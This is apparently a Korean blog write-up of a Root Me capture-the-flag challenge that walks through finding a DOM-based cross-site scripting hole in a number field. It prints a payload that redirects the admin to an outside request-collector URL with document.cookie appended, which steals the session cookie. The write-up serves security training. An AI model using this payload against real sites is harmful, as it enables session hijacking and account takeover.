Root Me에서 제공하는 크로스 사이트 스크립트 문제
이전에 포스팅 했던 문제들과 비슷한 맥락이다.
(https://hackingstudypad.tistory.com/48)
(https://hackingstudypad.tistory.com/297)
(https://hackingstudypad.tistory.com/334)
지난 문제들 풀이를 보면 조금 이해하기 쉽다.
문제설명을 읽어보면
이번 문제의 목표 역시 admin 의 session cookie 값을 훔치는 것이다.
문제페이지에 접속하면 보이는 화면이다.
Main 과 Contact 버튼이 있고,
아래는 숫자를 입력할 수 있는 칸이 있다.
Choose a number between 0 and 100 이라고 적혀있는데
77이라고 테스트삼아 입력해보고 결과를 보니
컴퓨터에서 생성한 숫자를 예측해서 맞히는 페이진가 보다.
근데 컴퓨터가 생성하는 숫자가 소숫점 15자리까지 있다;
이건 그냥 틀리라는 얘기다.
숫자를 전달하는 방식을 확인해보면
GET 방식으로 URL을 통해 ?number 파라미터에 사용자가 입력한 값을 담아 전달하고 있는것을 볼 수 있다.
Contact 페이지로 이동해보면
admin 에게 URL을 전달할 수 있는 기능이 있다.
정황상 number 파라미터를 통해서 XSS 페이로드를 완성시키고,
완성시킨 페이로드를 URL형태로 Contact 페이지를 통해 관리자에게 전달하여 읽게 만들어야 하는것 같다.
F12를 눌러 개발자도구로 웹 페이지 소스를 살펴봤다.
<script> 태그 안에 자바스크립트가 들어가 있는데,
사용자가 입력한 숫자를 var number = '<숫자>'; 형태로 사용하고 있는걸 볼 수 있다.
숫자를 입력하는 칸에 별다른 입력 필터를 걸고 있지 않기 때문에
이 부분을 조작할 수 있을 것 같다.
77';alert(1);' 라고 입력해서 알람창을 한번 띄워보았다.
alert(1) 이라는 스크립트가 동작해서 알람창이 정상적으로 뜬걸 보니
크로스 사이트 스크립트 취약점이 확실히 존재한다.
저렇게 입력하면 알람창이 뜨는 이유는
위처럼 자바스크립트 내용이 조작되기 때문이다.
RequestBin(https://pipedream.com/)으로 가서 요청을 받아줄 주소를 하나 생성한다.
77';document.location.href='<requestbin주소>?cookie='%2bdocument.cookie;'
이제 위처럼 admin 이 URL 을 클릭할 경우
자동으로 redirect 되어 RequestBin으로 이동하며 쿠키값을 전달하도록
XSS 페이로드를 작성한다.
그다음 Contact 페이지로 가서
완성된 XSS 페이로드를 입력하고 잠시 기다리면
admin의 세션 쿠키값이 탈취된 것을 확인할 수 있다.
탈취한 쿠키값이 바로 플래그이다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] EXIF - Thumbnail - 포렌식 / Forensically / HxD (78) | 2023.05.26 |
---|---|
[Root Me] XSS DOM Based - AngularJS - 웹해킹 / 크로스사이트스크립트 (56) | 2023.01.04 |
[Root Me] PDF - Embedded - 포렌식 / PDFStreamDumper (54) | 2022.12.01 |
[Root Me] XSS - Reflected - 웹해킹 / 크로스사이트스크립트 (65) | 2022.11.25 |
[Root Me] Malicious Word macro - 포렌식 / Volatility (62) | 2022.11.21 |